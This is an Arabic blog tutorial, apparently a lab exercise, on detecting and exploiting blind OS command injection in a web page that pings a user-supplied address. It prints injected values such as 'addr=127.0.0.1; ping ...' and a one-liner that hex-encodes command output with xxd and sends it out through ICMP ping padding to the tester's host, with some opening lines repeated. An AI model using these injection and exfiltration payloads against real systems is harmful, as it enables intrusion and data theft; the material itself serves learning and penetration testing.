Blind OS Command Execution-OUT OF BAND
السلام عليكم ورحمة وبركاته
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا انك انت العليم الحكيم
اليوم راح اتكلم عن
طبعا الخيار c- في الامر ping يحدد لنا عدد مرات البنق وهنا اخترنا 4 مرات
الان تاكدنا من ان الموقع مصاب بثغرة Blind Remote Code Execution
طيب الان ناخذ الاستغلال للخطوة الثانية
الان بما ان الموقع مانقدر نسوي منه شي الا عن طريق البروتوكول icmp لابد لنا من استخدام الامر ping لانه هو الوحيد اللي يستخدم البروتوكول هذا
الان هدفنا هو تمرير الامر خلال البروتوكول icmp للامر ping
الان لو نقرا المانويل تبع البينق man ping راح نجي للخيار p- اللي ينص على التالي
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا انك انت العليم الحكيم
اليوم راح اتكلم عن
Blind Remote Code Execution
النوع هذا من الثغرات شبيه بثغرات Remote Code Execution والاختلاف الوحيد بان الناتج لا يعرض على الصفحة
ولو فرضنا عندنا موقع بالشكل التالي
الموقع يقوم بعمل ping للاي ابي اللي تكتبه وفيه ثغرة RCE ولكن للاسف المخرجات ماهي باينة
في الحالة هذي لابد لنا من التنصت على المودم وعمل بنق لجهازنا عشان نعرف اذا الثغرة موجودة او لا
نشوف
اول مانقوم به هو عملية التنصت
tcpdump -i vboxnet0 -n icmp
الاداة tcpdump تقوم بالتنصت على البيانات المرسلة والمستقبل على المودم vboxnet0 واستخدمنا n- عشان مايتم تحويل العنواين الى اسماء وبالاخير اخترنا البروتوكول icmp اللي يستخدمه الامر ping
الان بعد ماشغلنا التنصت وصار جاهز نرجع نسوي بنق للاي بي تبعنا ونشوف النتيجة
الامر المستخدم هو
addr=127.0.0.1; ping -c 4 192.168.56.1
والنتيجة على tcpdump
الان تاكدنا من ان الموقع مصاب بثغرة Blind Remote Code Execution
طيب الان ناخذ الاستغلال للخطوة الثانية
الان بما ان الموقع مانقدر نسوي منه شي الا عن طريق البروتوكول icmp لابد لنا من استخدام الامر ping لانه هو الوحيد اللي يستخدم البروتوكول هذا
الان هدفنا هو تمرير الامر خلال البروتوكول icmp للامر ping
الان لو نقرا المانويل تبع البينق man ping راح نجي للخيار p- اللي ينص على التالي
-p pattern
You may specify up to 16 ’’pad’’ bytes to fill out the packet you send. This is useful for
diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be
filled with all ones.
يعني بالامكان تغذية البينق بالخيار هذا بالبايتات اللي نبيها والشرط انها تكون 16 بايت كحد اقصى
يعني لو قدرنا نحول مخرجات الامر اللي نبيه الى هيكس وبعدها نغذيها للامر ping نقدر نستخلص الناتج
فيه اداة في لينكس اسمها xxd تقوم بالتحويل من الهكس والعكس
نشوف ناتج الامر النهائي
addr=127.0.0.1; hex=$(ls -l | xxd -ps -c 16); for word in $hex; do ping 192.168.127.101 -c 1 -s 32 -p
$word; done
الان الامر اللي نبيه هو ls -l مثل ماهو واضح وحطيته بين قوسين ليكون متغير بعدين خليته يمر على الامر xxd
واستخدمت الخيارين الاول ps- وهو لتحويله الى هكس خالص بعدين حطيته على 16 وهو العواميد c- عشان مثل ماقلنا الخيار p- في بينق اكثر مايرسل 16 بايت والامر هذا يعطي سطر جديد بعد كل سطر من 16 بايت
بعدين لوب بسيط باللينكس يخلينا نرسل كل 16 بايت لحالها
نشوف النتيجة النهائية
استخدمت الامر
tcpdump -i vboxnet0 -n icmp -X -w /tmp/packet.pac
الاضافة كانت X- عشان نشوف محتوى الباكج و w- عشان نصدر الملف
الان نفتح الملف ونشوف وش الناتج
وهذي هي النتيجة علما بان الصفحة debug.php هي الصفحة اللي فيها الثغرة
يعني الطريقة كفيلة باستخراج المعلومات وتطبيق الاوامر
الى هنا ينتهي الدرس
ان اخطات فمن نفسي والشيطان وان اصبت فمن الله وحده
لا تنسوني من دعائكم
تعليقات
إرسال تعليق